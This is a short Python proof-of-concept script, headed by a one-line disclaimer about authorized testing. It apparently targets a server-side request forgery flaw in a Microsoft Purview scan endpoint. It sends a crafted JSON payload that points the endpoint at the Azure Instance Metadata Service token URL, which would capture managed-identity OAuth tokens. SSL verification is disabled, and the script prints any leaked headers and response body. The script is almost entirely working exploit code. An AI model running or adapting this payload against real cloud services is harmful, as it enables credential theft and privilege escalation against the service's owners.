The following code is for security research and authorized testing only.
python
import requests
# Target URL of the vulnerable Microsoft Purview endpoint
# Replace with the actual vulnerable endpoint found during reconnaissance
target_url = "https://<purview-instance-domain>/api/v1/scan"
# Malicious payload pointing to an internal service
# Example: Attempting to access Azure Instance Metadata Service (IMDS)
# or an internal admin panel to escalate privileges
internal_target = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01"
# Construct the payload based on the vulnerable parameter (e.g., 'url', 'target', 'link')
payload = {
"name": "Internal Scan",
"url": internal_target,
"properties": {}
}
try:
# Sending the SSRF request
# Note: SSL verification might be disabled if using internal IPs
response = requests.post(target_url, json=payload, verify=False, timeout=10)
# Check if the request indicates success or leaked data
if response.status_code == 200:
print("[+] Potential SSRF triggered!")
print("[+] Response Headers:")
for key, value in response.headers.items():
print(f" {key}: {value}")
print("[+] Response Body:")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")